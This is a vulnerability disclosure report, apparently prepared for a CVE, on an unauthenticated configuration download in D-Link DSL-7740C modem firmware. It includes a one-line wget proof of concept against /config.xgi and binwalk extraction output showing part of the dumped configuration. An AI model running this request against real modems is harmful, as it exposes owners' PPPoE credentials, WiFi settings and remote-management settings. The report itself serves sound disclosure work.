MITRE - D-Link DSL-7740C Modem Pre-Auth configuration dump

MITRE - D-Link DSL-7740C Modem Pre-Auth configuration dump.md

Affected component(s)

D-Link DSL7740C Modem Firmware Version DSL7740C.V6.TR069.20211230 - Web Management Interface

Attack vector(s)

Remote unauthorized configuration dump via web interface.

Suggested description of the vulnerability for use in the CVE

The D-Link DSL-7740C modem is vulnerable to an unauthorized configuration dump due to a security flaw in its web management interface. This vulnerability allows attackers to remotely download the device's configuration file without authentication, exposing sensitive network settings.

Detail Description

The root cause of this vulnerability lies in the config.xgi function within the thttpd binary of the modem's web console. This function lacks proper authentication mechanisms, enabling attackers to use standard HTTP request tools such as wget or curl to directly access and download the configuration file.

Steps to Reproduce:

1. Use a command-line HTTP client like wget or curl to send a request to the target modem.
2. Execute the following command to download the configuration file:

wget http://[modem_ip]/config.xgi

Proof of Concept

Using the command below, the attacker can initiate a download of the configuration file:

wget http://<REDACT>/config.xgi

Upon examining the downloaded file with binwalk, it reveals compressed data containing detailed configuration settings:

binwalk -e config.xgi

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
25            0x19            gzip compressed data, maximum compression, from Unix, last modified: 2025-02-20 04:00:23

Further analysis of the extracted files shows critical configuration information:

head -n 20 19
<asl66542_dlink_dsl7740c>
	<cht>
		<i_care>
			<enable>0</enable>
			<dst_ip>REDACt</dst_ip>
			<time_out>7200</time_out>
		</i_care>
	</cht>
	<wan>
		<defaultroute>3</defaultroute>
		<voice_route>0</voice_route>
		<video_route>0</video_route>
		<physical_type>0</physical_type>
		<enable_prepadt>1</enable_prepadt>
		<prepadt_path>/dev/mtdblock/5</prepadt_path>
		<dsl>
			<dhcp_use_tr069_cpe_id>1</dhcp_use_tr069_cpe_id>
			<inf id="1">
				<wan_type>1</wan_type>
				<xtm_type>1</xtm_type>

Impact

This pre-authentication vulnerability exposes critical configuration details including WiFi settings, PPPoE credentials, and TR-069 configurations:

• Sensitive Information Disclosure: Unauthorized disclosure of network settings and credentials could lead to further exploitation such as unauthorized access, service impersonation, or malicious redirection.
• Potential for Network Compromise: With access to PPPoE and other administrative credentials, attackers could take control over the network infrastructure, leading to severe disruptions and breaches.
• Increased Attack Surface: Exposure of TR-069 settings may allow attackers to manipulate remote management services, potentially affecting multiple devices across the network.

Credits

• Chiao-Lin Yu (Steven Meow)

Report Date

• 2025/03/03